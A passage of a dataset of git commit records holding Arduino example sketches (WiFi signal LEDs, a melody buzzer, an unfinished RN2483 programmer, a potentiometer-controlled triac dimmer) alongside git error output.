rduino\/Arduino-1,stevemayhew\/Arduino,probonopd\/Arduino,EmuxEvans\/Arduino,vbextreme\/Arduino,ogferreiro\/Arduino,tbowmo\/Arduino,spapadim\/Arduino,gurbrinder\/Arduino,weera00\/Arduino,eddyst\/Arduino-SourceCode,paulmand3l\/Arduino,ccoenen\/Arduino,vbextreme\/Arduino,arunkuttiyara\/Arduino,Alfredynho\/AgroSis,snargledorf\/Arduino,ikbelkirasan\/Arduino,tommyli2014\/Arduino,chaveiro\/Arduino,eduardocasarin\/Arduino,koltegirish\/Arduino,UDOOboard\/Arduino,stickbreaker\/Arduino,cscenter\/Arduino,adafruit\/ESP8266-Arduino,henningpohl\/Arduino,ssvs111\/Arduino,talhaburak\/Arduino,KlaasDeNys\/Arduino,sanyaade-iot\/Arduino-1,jmgonzalez00449\/Arduino,eduardocasarin\/Arduino,jomolinare\/Arduino,jaimemaretoli\/Arduino,garci66\/Arduino,xxxajk\/Arduino-1,tannewt\/Arduino,adafruit\/ESP8266-Arduino,laylthe\/Arduino,spapadim\/Arduino,Cloudino\/Cloudino-Arduino-IDE,kidswong999\/Arduino,HCastano\/Arduino,pdNor\/Arduino,jmgonzalez00449\/Arduino,mangelajo\/Arduino,UDOOboard\/Arduino,UDOOboard\/Arduino,wilhelmryan\/Arduino,me-no-dev\/Arduino-1,paulo-raca\/ESP8266-Arduino,plinioseniore\/Arduino,tannewt\/Arduino,mangelajo\/Arduino,sanyaade-iot\/Arduino-1,henningpohl\/Arduino,nkolban\/Arduino,eeijcea\/Arduino-1,garci66\/Arduino,ssvs111\/Arduino,mattvenn\/Arduino,NaSymbol\/Arduino,tommyli2014\/Arduino,acosinwork\/Arduino,zaiexx\/Arduino,tbowmo\/Arduino,karlitxo\/Arduino,arduino-org\/Arduino,OpenDevice\/Arduino,superboonie\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,scdls\/Arduino,stevemayhew\/Arduino,tbowmo\/Arduino,koltegirish\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,weera00\/Arduino,PeterVH\/Arduino,rcook\/DesignLab,lukeWal\/Arduino,zaiexx\/Arduino,stickbreaker\/Arduino,nkolban\/Arduino,superboonie\/Arduino,steamboating\/Arduino,stevemayhew\/Arduino,jabezGit\/Arduino,jaej-dev\/Arduino,benwolfe\/esp8266-Arduino,drpjk\/Arduino,ikbelkirasan\/Arduino,ForestNymph\/Arduino_sources,zenmanenergy\/Arduino,myrtleTree33\/Arduino,aichi\/Arduino-2,garci66\/Arduino,jabezGit\/Arduino,jabezGit\/Arduino,ntruchsess\/Arduino-1,Protoneer\/Arduino,aichi\/Arduino-2,gberl001\/Arduino,ashwin713\/Arduino,spapadim\/Arduino,andyvand\/Arduino-1,probonopd\/Arduino,ari-analytics\/Arduino,NaSymbol\/Arduino,stevemayhew\/Arduino,Gourav2906\/Arduino,byran\/Arduino,eggfly\/arduino,gurbrinder\/Arduino,tskurauskas\/Arduino,drpjk\/Arduino,leftbrainstrain\/Arduino-ESP8266,jmgonzalez00449\/Arduino,jaimemaretoli\/Arduino,arunkuttiyara\/Arduino,henningpohl\/Arduino,jaej-dev\/Arduino,KlaasDeNys\/Arduino,SmartArduino\/Arduino-1,ogferreiro\/Arduino,Cloudino\/Arduino,majenkotech\/Arduino,garci66\/Arduino,jmgonzalez00449\/Arduino,niggor\/Arduino_cc,PeterVH\/Arduino,cscenter\/Arduino,eduardocasarin\/Arduino,bsmr-arduino\/Arduino,leftbrainstrain\/Arduino-ESP8266,ricklon\/Arduino,onovy\/Arduino,henningpohl\/Arduino,ntruchsess\/Arduino-1,zederson\/Arduino,SmartArduino\/Arduino-1,mateuszdw\/Arduino,ogahara\/Arduino,shiitakeo\/Arduino,gberl001\/Arduino,mateuszdw\/Arduino,HCastano\/Arduino,gestrem\/Arduino,superboonie\/Arduino,eddyst\/Arduino-SourceCode,zederson\/Arduino,ccoenen\/Arduino,ogferreiro\/Arduino,jaimemaretoli\/Arduino,Protoneer\/Arduino,probonopd\/Arduino,mangelajo\/Arduino,EmuxEvans\/Arduino,jaehong\/Xmegaduino,acosinwork\/Arduino,onovy\/Arduino,raimohanska\/Arduino,laylthe\/Arduino,drpjk\/Arduino,henningpohl\/Arduino,leftbrainstrain\/Arduino-ESP8266,eeijcea\/Arduino-1,NeuralSpaz\/Arduino,gurbrinder\/Arduino,eddyst\/Arduino-SourceCode,mangelajo\/Arduino,mattvenn\/Arduino,talhaburak\/Arduino,zenmanenergy\/Arduino,NeuralSpaz\/Arduino,mboufos\/esp8266-Arduino,scdls\/Arduino,ogferreiro\/Arduino,mateuszdw\/Arduino,plaintea\/esp8266-Arduino,UDOOboard\/Arduino,ricklon\/Arduino,weera00\/Arduino,mc-hamster\/esp8266-Arduino,sanyaade-iot\/Arduino-1,ogahara\/Arduino,xxxajk\/Arduino-1,jmgonzalez00449\/Arduino,adafruit\/ESP8266-Arduino,tannewt\/Arduino,zaiexx\/Arduino,xxxajk\/Arduino-1,jomolinare\/Arduino,pdNor\/Arduino,Protoneer\/Arduino,rcook\/DesignLab,Cloudino\/Cloudino-Arduino-IDE,karlitxo\/Arduino,ForestNymph\/Arduino_sources,jaehong\/Xmegaduino,ikbelkirasan\/Arduino,NicoHood\/Arduino,jmgonzalez00449\/Arduino,byran\/Arduino,OpenDevice\/Arduino,PaoloP74\/Arduino,danielchalef\/Arduino,chaveiro\/Arduino,ari-analytics\/Arduino,piersoft\/esp8266-Arduino,eddyst\/Arduino-SourceCode,NaSymbol\/Arduino,snargledorf\/Arduino,xxxajk\/Arduino-1,plinioseniore\/Arduino,damellis\/Arduino,arduino-org\/Arduino,paulo-raca\/ESP8266-Arduino,ari-analytics\/Arduino,mc-hamster\/esp8266-Arduino,ogahara\/Arduino,adafruit\/ESP8266-Arduino,ccoenen\/Arduino,fungxu\/Arduino,ashwin713\/Arduino,steamboating\/Arduino,NaSymbol\/Arduino,shannonshsu\/Arduino,smily77\/Arduino,UDOOboard\/Arduino,eduardocasarin\/Arduino,pdNor\/Arduino,gonium\/Arduino,fungxu\/Arduino,Chris--A\/Arduino,nandojve\/Arduino,lukeWal\/Arduino,stevemarple\/Arduino-org,nkolban\/Arduino,ssvs111\/Arduino,PeterVH\/Arduino,jabezGit\/Arduino,Gourav2906\/Arduino,chaveiro\/Arduino,tannewt\/Arduino,ashwin713\/Arduino,fungxu\/Arduino,jaej-dev\/Arduino,xxxajk\/Arduino-1,PaoloP74\/Arduino,benwolfe\/esp8266-Arduino,ThoughtWorksIoTGurgaon\/Arduino,NicoHood\/Arduino,gestrem\/Arduino,HCastano\/Arduino,arunkuttiyara\/Arduino,paulmand3l\/Arduino,jaehong\/Xmegaduino,raimohanska\/Arduino,pdNor\/Arduino,paulo-raca\/ESP8266-Arduino,ThoughtWorksIoTGurgaon\/Arduino,aichi\/Arduino-2,NicoHood\/Arduino,vbextreme\/Arduino,Cloudino\/Cloudino-Arduino-IDE,steamboating\/Arduino,tbowmo\/Arduino,wayoda\/Arduino,danielchalef\/Arduino,PaoloP74\/Arduino,andrealmeidadomingues\/Arduino,myrtleTree33\/Arduino,paulo-raca\/ESP8266-Arduino,arunkuttiyara\/Arduino,plinioseniore\/Arduino,tskurauskas\/Arduino,mboufos\/esp8266-Arduino,ccoenen\/Arduino,shiitakeo\/Arduino,leftbrainstrain\/Arduino-ESP8266,paulmand3l\/Arduino,shiitakeo\/Arduino,eduardocasarin\/Arduino,stickbreaker\/Arduino,KlaasDeNys\/Arduino,PeterVH\/Arduino,gberl001\/Arduino,steamboating\/Arduino,garci66\/Arduino,jaehong\/Xmegaduino,koltegirish\/Arduino,tbowmo\/Arduino,cscenter\/Arduino,leftbrainstrain\/Arduino-ESP8266,SmartArduino\/Arduino-1,superboonie\/Arduino,zenmanenergy\/Arduino,kidswong999\/Arduino,niggor\/Arduino_cc,bigjosh\/Arduino,andrealmeidadomingues\/Arduino,shiitakeo\/Arduino,zaiexx\/Arduino,talhaburak\/Arduino,ari-analytics\/Arduino,arduino-org\/Arduino,pdNor\/Arduino,radut\/Arduino,radut\/Arduino,ari-analytics\/Arduino,majenkotech\/Arduino,zenmanenergy\/Arduino,arduino-org\/Arduino,laylthe\/Arduino,ogahara\/Arduino,tommyli2014\/Arduino,jomolinare\/Arduino,piersoft\/esp8266-Arduino,damellis\/Arduino,drpjk\/Arduino,paulo-raca\/ESP8266-Arduino,jamesrob4\/Arduino,acosinwork\/Arduino,tbowmo\/Arduino,bsmr-arduino\/Arduino,ashwin713\/Arduino,mc-hamster\/esp8266-Arduino,ForestNymph\/Arduino_sources,Cloudino\/Arduino,ashwin713\/Arduino,wdoganowski\/Arduino,jaej-dev\/Arduino,wdoganowski\/Arduino,ricklon\/Arduino,bigjosh\/Arduino,andyvand\/Arduino-1,Gourav2906\/Arduino,nandojve\/Arduino,plaintea\/esp8266-Arduino,chaveiro\/Arduino,shannonshsu\/Arduino,radut\/Arduino,eggfly\/arduino,ntruchsess\/Arduino-1,kidswong999\/Arduino,danielchalef\/Arduino,HCastano\/Arduino,plinioseniore\/Arduino,weera00\/Arduino,stevemayhew\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,ssvs111\/Arduino,jomolinare\/Arduino,Alfredynho\/AgroSis,jamesrob4\/Arduino,tskurauskas\/Arduino,wdoganowski\/Arduino,tskurauskas\/Arduino,jomolinare\/Arduino,talhaburak\/Arduino,Cloudino\/Arduino,SmartArduino\/Arduino-1,leftbrainstrain\/Arduino-ESP8266,KlaasDeNys\/Arduino,zaiexx\/Arduino,OpenDevice\/Arduino,weera00\/Arduino,steamboating\/Arduino,raimohanska\/Arduino,talhaburak\/Arduino,jamesrob4\/Arduino,pdNor\/Arduino,lukeWal\/Arduino,acosinwork\/Arduino,EmuxEvans\/Arduino,ssvs111\/Arduino,paulmand3l\/Arduino,zaiexx\/Arduino,talhaburak\/Arduino,drpjk\/Arduino,wdoganowski\/Arduino,Alfredynho\/AgroSis,steamboating\/Arduino,jamesrob4\/Arduino,jabezGit\/Arduino,onovy\/Arduino,talhaburak\/Arduino,probonopd\/Arduino,majenkotech\/Arduino,chaveiro\/Arduino,Chris--A\/Arduino,eeijcea\/Arduino-1,wilhelmryan\/Arduino,ogahara\/Arduino,eggfly\/arduino,jaej-dev\/Arduino,ektor5\/Arduino,probonopd\/Arduino,myrtleTree33\/Arduino,PaoloP74\/Arduino,talhaburak\/Arduino,ntruchsess\/Arduino-1,noahchense\/Arduino-1,byran\/Arduino,cscenter\/Arduino,majenkotech\/Arduino,arduino-org\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Gourav2906\/Arduino,me-no-dev\/Arduino-1,zenmanenergy\/Arduino,mangelajo\/Arduino,PeterVH\/Arduino,sanyaade-iot\/Arduino-1,jabezGit\/Arduino,majenkotech\/Arduino,superboonie\/Arduino,spapadim\/Arduino,acosinwork\/Arduino,NeuralSpaz\/Arduino,NicoHood\/Arduino,ccoenen\/Arduino,noahchense\/Arduino-1,henningpohl\/Arduino,smily77\/Arduino,SmartArduino\/Arduino-1,adamkh\/Arduino,tomkrus007\/Arduino,stickbreaker\/Arduino,Protoneer\/Arduino,noahchense\/Arduino-1,chaveiro\/Arduino,ricklon\/Arduino,majenkotech\/Arduino,tomkrus007\/Arduino,superboonie\/Arduino,fungxu\/Arduino,laylthe\/Arduino,lukeWal\/Arduino,rcook\/DesignLab,gberl001\/Arduino,wilhelmryan\/Arduino,gurbrinder\/Arduino,shannonshsu\/Arduino,laylthe\/Arduino,niggor\/Arduino_cc,niggor\/Arduino_cc,Gourav2906\/Arduino,xxxajk\/Arduino-1,zaiexx\/Arduino,paulmand3l\/Arduino,Gourav2906\/Arduino,cscenter\/Arduino,eggfly\/arduino,henningpohl\/Arduino,ogferreiro\/Arduino,zederson\/Arduino,garci66\/Arduino,eggfly\/arduino,mateuszdw\/Arduino,EmuxEvans\/Arduino,shannonshsu\/Arduino,karlitxo\/Arduino,snargledorf\/Arduino,tomkrus007\/Arduino,paulo-raca\/ESP8266-Arduino,koltegirish\/Arduino,cscenter\/Arduino,steamboating\/Arduino,koltegirish\/Arduino,stickbreaker\/Arduino,bigjosh\/Arduino,mangelajo\/Arduino,benwolfe\/esp8266-Arduino,plinioseniore\/Arduino,jamesrob4\/Arduino,kidswong999\/Arduino,radut\/Arduino,andyvand\/Arduino-1,niggor\/Arduino_cc,ntruchsess\/Arduino-1,andrealmeidadomingues\/Arduino,lulufei\/Arduino,Protoneer\/Arduino,aichi\/Arduino-2,nkolban\/Arduino,ssvs111\/Arduino,Alfredynho\/AgroSis,jamesrob4\/Arduino,noahchense\/Arduino-1,byran\/Arduino,lukeWal\/Arduino,acosinwork\/Arduino,ntruchsess\/Arduino-1,NicoHood\/Arduino,EmuxEvans\/Arduino,HCastano\/Arduino,jaimemaretoli\/Arduino,ssvs111\/Arduino,jaehong\/Xmegaduino,Protoneer\/Arduino,cscenter\/Arduino,mattvenn\/Arduino,onovy\/Arduino,rcook\/DesignLab,eddyst\/Arduino-SourceCode,danielchalef\/Arduino,shiitakeo\/Arduino,eggfly\/arduino,scdls\/Arduino,ikbelkirasan\/Arduino,shiitakeo\/Arduino,fungxu\/Arduino,ricklon\/Arduino,wilhelmryan\/Arduino,drpjk\/Arduino,me-no-dev\/Arduino-1,noahchense\/Arduino-1,superboonie\/Arduino,wdoganowski\/Arduino,shannonshsu\/Arduino,Cloudino\/Cloudino-Arduino-IDE,kidswong999\/Arduino,nandojve\/Arduino,eggfly\/arduino,xxxajk\/Arduino-1,superboonie\/Arduino,stevemayhew\/Arduino,bigjosh\/Arduino,NeuralSpaz\/Arduino,snargledorf\/Arduino,jaej-dev\/Arduino,gberl001\/Arduino,toddtreece\/esp8266-Arduino,ikbelkirasan\/Arduino,bsmr-arduino\/Arduino,mattvenn\/Arduino,danielchalef\/Arduino,NeuralSpaz\/Arduino,acosinwork\/Arduino,eeijcea\/Arduino-1,drpjk\/Arduino,raimohanska\/Arduino,adamkh\/Arduino,tommyli2014\/Arduino,benwolfe\/esp8266-Arduino,NeuralSpaz\/Arduino,jmgonzalez00449\/Arduino,me-no-dev\/Arduino-1,jaej-dev\/Arduino,andrealmeidadomingues\/Arduino,tskurauskas\/Arduino,vbextreme\/Arduino,myrtleTree33\/Arduino,smily77\/Arduino,mangelajo\/Arduino,zenmanenergy\/Arduino,ektor5\/Arduino,kidswong999\/Arduino,plinioseniore\/Arduino,stevemarple\/Arduino-org,adamkh\/Arduino,NaSymbol\/Arduino,byran\/Arduino,eeijcea\/Arduino-1,ForestNymph\/Arduino_sources,bsmr-arduino\/Arduino,NeuralSpaz\/Arduino,nandojve\/Arduino,gonium\/Arduino,jomolinare\/Arduino,Alfredynho\/AgroSis,ashwin713\/Arduino,damellis\/Arduino,zenmanenergy\/Arduino,aichi\/Arduino-2,smily77\/Arduino,jabezGit\/Arduino,smily77\/Arduino,aichi\/Arduino-2,HCastano\/Arduino,tommyli2014\/Arduino,ogferreiro\/Arduino,gurbrinder\/Arduino,me-no-dev\/Arduino-1","old_file":"hardware\/arduino\/avr\/libraries\/Bridge\/examples\/WifiSignalStrengthIndicator\/WifiSignalStrengthIndicator.ino","new_file":"hardware\/arduino\/avr\/libraries\/Bridge\/examples\/WifiSignalStrengthIndicator\/WifiSignalStrengthIndicator.ino","new_contents":"\/*\n Wifi Signal Strength Indicator\n \n This example demonstrates the use of the bridge and process libraries \n to communicate between the Arduino side and the linux side of the Arduino Yun. \n \n The Linux script returns the strength of the wifi signal.\n \n The Arduino sketch uses LEDs to indicate whether the current value of \n the signal strength is above, below, or the same as the last value \n \n The circuit: \n * LEDs on pins 8, 9, and 10\n * Built-in LED on pin 13\n \n The script:\n The following one line script must exist in the \/root directory of the \n linux file system, in a file named \"wifiStrength.sh\", and it must be executable:\n \n tail -1 \/proc\/net\/wireless | cut -c22-23\n \n created 06 June 2013\n by Michael Shiloh\n modified 08 June 2013\n by Tom Igoe\n \n This example code is in the public domain\n \n *\/\n\n\n#include <Process.h>\n\n\/\/ global variable to store the last value of the signal strength\nint lastValue;\n\nvoid setup() {\n \/\/ set up LED pins as outputs:\n pinMode(8, OUTPUT);\n pinMode(9, OUTPUT);\n pinMode(10, OUTPUT);\n pinMode(13,OUTPUT);\n\n \/\/ Indicate that you're ready by flashing pin 13 LED twice\n for (int flash = 0; flash < 3; flash++) {\n digitalWrite(13,HIGH);\n delay(200);\n digitalWrite(13,LOW);\n delay(800);\n }\n \/\/ initialize Serial and Bridge:\n Serial.begin(9600);\n Bridge.begin();\n\n \/\/ Indicate that setup is finished\n digitalWrite(13,HIGH);\n}\n\nvoid loop() {\n int value = 0; \/\/ the signal strength as an integer\n String result; \/\/ the result of the process as a String\n Process wifiCheck; \/\/ the process itself\n\n\n \/\/ Run the script on the linux side. Note that any word \n \/\/or text separated by a tab or space is considered \n \/\/an additional parameter:\n wifiCheck.begin(\"ash\");\n wifiCheck.addParameter(\"\/root\/wifiStrength.sh\");\n wifiCheck.run();\n\n \/\/ If the process has sent any characters:\n while (wifiCheck.available()>0) {\n result = wifiCheck.readString(); \/\/ read the result into a string\n value = result.toInt(); \/\/ parse the string as an int\n }\n\n \/\/ for debugging\n Serial.print(\"previous strength:\"); \n Serial.print(lastValue);\n Serial.print(\"\\tcurrent strength:\"); \n Serial.println(value);\n\n \/\/ indicate the relative string by lighting the appropriate LED\n allOff(); \/\/ turn off all the LEDS\n\n if (value > lastValue) { \/\/ if the signal's getting stronger\n digitalWrite(10, HIGH);\n }\n else if (value < lastValue){ \/\/ if the signal's getting weaker\n digitalWrite(8, HIGH);\n }\n else { \/\/ if the signal's stayed steady\n digitalWrite(9, HIGH);\n }\n\n lastValue = value; \/\/ record this value for next time\n delay(10); \/\/ small delay before next time through the loop\n}\n\n\nvoid allOff() {\n digitalWrite(8, LOW);\n digitalWrite(9, LOW);\n digitalWrite(10, LOW); \n}\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/arduino\/avr\/libraries\/Bridge\/examples\/WifiSignalStrengthIndicator\/WifiSignalStrengthIndicator.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"f729702eba11b969cd72541dad54ba7e77d0dea2","subject":"Added Arduino buzzer project","message":"Added Arduino buzzer project\n","repos":"BedrockDev\/Sunrin2017,BedrockDev\/Sunrin2017,BedrockDev\/Sunrin2017,BedrockDev\/Sunrin2017,BedrockDev\/Sunrin2017","old_file":"Arduino\/Project04\/buzzer\/buzzer\/buzzer.ino","new_file":"Arduino\/Project04\/buzzer\/buzzer\/buzzer.ino","new_contents":"int speakerPin = 3;\n\nint length = 15; \/\/ the number of notes\n\n\/\/twinkle twinkle little star\nchar notes[] = \"ccggaag ffeeddc ggffeed ggffeed ccggaag ffeeddc \"; \/\/ a space represents a rest\nint beats[] = { 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 2, 4 };\nint tempo = 300;\n\nvoid playTone(int tone, int duration) {\n for (long i = 0; i < duration * 1000L; i += tone * 2) {\n digitalWrite(speakerPin, HIGH);\n delayMicroseconds(tone);\n digitalWrite(speakerPin, LOW);\n delayMicroseconds(tone);\n }\n}\n\nvoid playNote(char note, int duration) {\n char names[] = { 'c', 'd', 'e', 'f', 'g', 'a', 'b', 'C' };\n int tones[] = { 1915, 1700, 1519, 1432, 1275, 1136, 1014, 956 };\n \n \/\/ play the tone corresponding to the note name\n for (int i = 0; i < 8; i++) {\n if (names[i] == note) {\n playTone(tones[i], duration);\n }\n }\n}\n\nvoid play() {\n for (int i = 0; i < length; i++) {\n if (notes[i] == ' ') {\n delay(beats[i] * tempo); \/\/ rest\n } else {\n playNote(notes[i], beats[i] * tempo);\n }\n \n \/\/ pause between notes\n delay(tempo \/ 2); \n }\n noTone(speakerPin);\n}\n\nvoid setup() {\n pinMode(speakerPin, OUTPUT);\n pinMode(4, INPUT);\n}\n\nvoid loop() {\n int i = 0;\n i = digitalRead(4);\n if (i == 1) {\n play();\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Project04\/buzzer\/buzzer\/buzzer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7e952d099cb12f83e460f4a8ad77d6ab4c9d80a1","subject":"Created programmer using datasheet, not working correctly yet.","message":"Created programmer using datasheet, not working correctly yet.\n","repos":"Swij\/Arduino-RN2483-programmer","old_file":"Arduino-RN2483-programmer.ino","new_file":"Arduino-RN2483-programmer.ino","new_contents":"\/\/ Arduino RN2483 programmer\n\/\/ Implemented using http:\/\/ww1.microchip.com\/downloads\/en\/DeviceDoc\/41398B.pdf\n#define MCLR 4\n#define PGD 5\n#define PGC 6\n\nint keyseq[] = {0,1,0,0, 1,1,0,1, 0,1,0,0, 0,0,1,1, 0,1,0,0, 1,0,0,0, 0,1,0,1, 0,0,0,0};\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n SerialUSB.begin(57600);\n\n \/\/ Wait for serialUSB or start after 30 seconds\n while ((!SerialUSB) && (millis() < 30000));\n SerialUSB.write(\"SerialUSB set up\\r\\n\");\n\n \/\/ Initialize LED\n pinMode(LED_BUILTIN, OUTPUT);\n digitalWrite(LED_BUILTIN, HIGH);\n\n \/\/ Initialize pins\n pinMode(MCLR, OUTPUT);\n pinMode(PGD, OUTPUT);\n pinMode(PGC, OUTPUT);\n digitalWrite(MCLR, LOW);\n digitalWrite(PGD, LOW);\n digitalWrite(PGC, LOW);\n\n \/\/ Wiggle MCLR\n digitalWrite(MCLR, HIGH);\n delay(10);\n digitalWrite(MCLR, LOW);\n delay(10);\n digitalWrite(MCLR, HIGH);\n delay(10);\n\n \/\/ Entering low-voltage program\/verify mode\n enterLVP();\n}\n\n\/\/ Enter low-voltage program\/verify mode\nvoid enterLVP() {\n SerialUSB.write(\"Entering low-voltage program\/verify mode\\r\\n\");\n \n \/\/ Pull all programming pins Low\n digitalWrite(MCLR, LOW);\n digitalWrite(PGD, LOW);\n digitalWrite(PGC, LOW);\n \n \/\/ Wait atleast 100ns (P13)\n delayMicroseconds(1);\n\n \/\/ Set MCLR High then Low \n digitalWrite(MCLR, HIGH);\n delayMicroseconds(1);\n digitalWrite(MCLR, LOW);\n\n \/\/ Wait atleast 1ms (P18)\n delayMicroseconds(2);\n\n \/\/ Enter key sequence on PGD\n for (int n = 0; n < 32; n++) { \n \/\/Lower PGC and write bit to PGD\n digitalWrite(PGC, LOW);\n digitalWrite(PGD, keyseq[n]);\n delayMicroseconds(1);\n \n \/\/Raise PGC to send bit\n digitalWrite(PGC, HIGH);\n delayMicroseconds(1);\n }\n digitalWrite(PGC, LOW);\n\n \/\/ Wait atleast 40ns\n delayMicroseconds(1);\n\n \/\/ Set MCLR High\n digitalWrite(MCLR, HIGH);\n \n \/\/ Wait atleast 400us\n delayMicroseconds(450);\n}\n\n\/\/ Exit low-voltage program\/verify mode\nvoid exitLVP() {\n SerialUSB.write(\"Exiting low-voltage program\/verify mode\\r\\n\");\n delayMicroseconds(1);\n digitalWrite(MCLR, LOW);\n delayMicroseconds(10);\n digitalWrite(MCLR, HIGH);\n}\n\n\/\/ Serial program\/verify operation\nint sendOp(int cmd, int payload) {\n bool valid = true;\n bool isread = false;\n\n \/\/ Check if command is valid and if it contains a read\n switch (cmd) {\n case B0000:\n break;\n case B0010:\n isread = true;\n break;\n case B1000:\n isread = true;\n break;\n case B1001:\n isread = true;\n break;\n case B1010:\n isread = true;\n break;\n case B1011:\n isread = true;\n break;\n case B1100:\n break;\n case B1101:\n break;\n case B1110:\n break;\n case B1111:\n break;\n default:\n valid = false;\n }\n\n \/\/ Check if data payload is the right size\n if ((isread && (payload > 255)) || (!isread && (payload > 65535))) {\n SerialUSB.write(\"Invalid number of payload bits\\r\\n\");\n return false;\n } \n \n if (valid) {\n \/\/ Send command bits to the RN2483\n for (int n = 0; n < 4; n++) {\n \/\/Lower PGC and write bit to PGD\n digitalWrite(PGC, LOW);\n digitalWrite(PGD, bitRead(cmd, n));\n delayMicroseconds(1);\n \n \/\/Raise PGC to send bit\n digitalWrite(PGC, HIGH);\n delayMicroseconds(1);\n }\n digitalWrite(PGC, LOW);\n\n \/\/ Wait atleast 40ns (P5)\n delayMicroseconds(1);\n \n if (isread) {\n \/\/ Write 8 payload bits to RN2483\n for (int n = 0; n < 8; n++) {\n \/\/Lower PGC and write bit to PGD\n digitalWrite(PGC, LOW);\n digitalWrite(PGD, bitRead(cmd, n));\n delayMicroseconds(1);\n \n \/\/Raise PGC to send bit\n digitalWrite(PGC, HIGH);\n delayMicroseconds(1);\n }\n digitalWrite(PGC, LOW);\n\n \/\/ Set PGD to input\n pinMode(PGD, INPUT);\n\n \/\/ Wait atleast 20ns (P6)\n delayMicroseconds(1);\n \n \/\/ Read 8 response bits from RN2483\n int response = 255;\n for (int n = 0; n < 8; n++) {\n \/\/Raise PGC to recieve bit\n digitalWrite(PGC, HIGH);\n delayMicroseconds(1);\n \n \/\/Lower PGC and read bit from PGD\n digitalWrite(PGC, LOW);\n bitWrite(response, n, digitalRead(PGD));\n delayMicroseconds(1);\n }\n\n \/\/ Set PGD to output\n pinMode(PGD, OUTPUT);\n\n \/\/ Wait atleast 40ns (P5A)\n delayMicroseconds(1);\n SerialUSB.write(\"Sent 4 command bits and 8 data payload bits\\r\\nResponse: \");\n SerialUSB.print(String(response, BIN)+\"\\r\\n\");\n \n return response;\n } else {\n \/\/ Write all 16 bits from the data payload \n for (int n = 0; n < 16; n++) {\n \/\/Lower PGC and write bit to PGD\n digitalWrite(PGC, LOW);\n digitalWrite(PGD, bitRead(cmd, n));\n delayMicroseconds(1);\n \n \/\/Raise PGC to send bit\n digitalWrite(PGC, HIGH);\n delayMicroseconds(1);\n }\n digitalWrite(PGC, LOW);\n \n \/\/ Wait atleast 40ns (P5A)\n delayMicroseconds(1);\n SerialUSB.write(\"Sent 4 command bits and 16 data payload bits\\r\\n\");\n\n return true;\n }\n } else {\n SerialUSB.write(\"Command not valid\\r\\n\");\n return false;\n }\n}\n\nvoid loop() {\n if(SerialUSB.available()){\n char ch = SerialUSB.read();\n switch(ch){\n case '1':\n SerialUSB.write(\"Read address 3FFFFE\\r\\n\");\n sendOp(B0000, 0x0E3F);\n sendOp(B0000, 0x6EF8);\n sendOp(B0000, 0x0EFF);\n sendOp(B0000, 0x6EF7);\n sendOp(B0000, 0x0EFE);\n sendOp(B0000, 0x6EF6);\n sendOp(B1001, 0x0000);\n break;\n case '2':\n SerialUSB.write(\"Read address 3FFFFF\\r\\n\");\n sendOp(B0000, 0x0E3F);\n sendOp(B0000, 0x6EF8);\n sendOp(B0000, 0x0EFF);\n sendOp(B0000, 0x6EF7);\n sendOp(B0000, 0x0EFF);\n sendOp(B0000, 0x6EF6);\n sendOp(B1001, 0x0000);\n break;\n case '3':\n break;\n case '4':\n break;\n case '5':\n break;\n case '\\r':\n break;\n case '\\n':\n break;\n default:\n SerialUSB.write(\"Invalid input\\r\\n\");\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino-RN2483-programmer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"17aa6759f1981ab4f3f418200d7b2967edddeb73","subject":"Distance Sensor","message":"Distance Sensor\n\nThe output voltage is now affected by its input voltage.\n","repos":"MakerWear\/MakerWear,MakerWear\/MakerWear,MakerWear\/MakerWear","old_file":"Distance Sensor\/DistanceSensorATtiny\/DistanceSensorATtiny.ino","new_file":"Distance Sensor\/DistanceSensorATtiny\/DistanceSensorATtiny.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Distance' did not match any file(s) known to git\nerror: pathspec 'Sensor\/DistanceSensorATtiny\/DistanceSensorATtiny.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fb31f77864d7572c8fc26df7bfdd3f6d969e0175","subject":"First release","message":"First release\n","repos":"minhcly\/imu3darduino,minhcly\/imu3darduino","old_file":"IMU3D\/IMU3D.ino","new_file":"IMU3D\/IMU3D.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/minhcly\/imu3darduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b0cc5dd4d3d772b988841982f63315da5eb1d609","subject":"Create potentiometer.ino","message":"Create potentiometer.ino\n\nNew example file showing how to use a potentiometer.","repos":"AJMansfield\/TriacDimmer","old_file":"examples\/basic_example\/potentiometer.ino","new_file":"examples\/basic_example\/potentiometer.ino","new_contents":"\/*\n*Code to control brightness via a potentiometer. In this example the pot is plugged into A0\n*Tested on a Robotdyn AC Dimmer\n*Code and tutorial to use floating point values with the map function here: https:\/\/arduinogetstarted.com\/tutorials\/arduino-potentiometer\n*\/\n\n#include <TriacDimmer.h>\n\nfloat floatMap(float x, float in_min, float in_max, float out_min, float out_max) {\n return (x - in_min) * (out_max - out_min) \/ (in_max - in_min) + out_min;\n}\n\nunsigned char sync = 8; \/\/sync pin\nunsigned char channel_1 = 9; \/\/ channel 1 pin\n\nvoid setup() {\n \/\/ initialize the dimmer library.\n TriacDimmer::begin();\n}\n\nvoid loop() {\n \/\/ read the input on analog pin A0:\n int analogValue = analogRead(A0);\n float brightness = floatMap(analogValue, 0, 1023, 0, 1);\n \/\/ set channel 1 to the brightness value:\n TriacDimmer::setBrightness(channel_1, brightness); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/basic_example\/potentiometer.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} 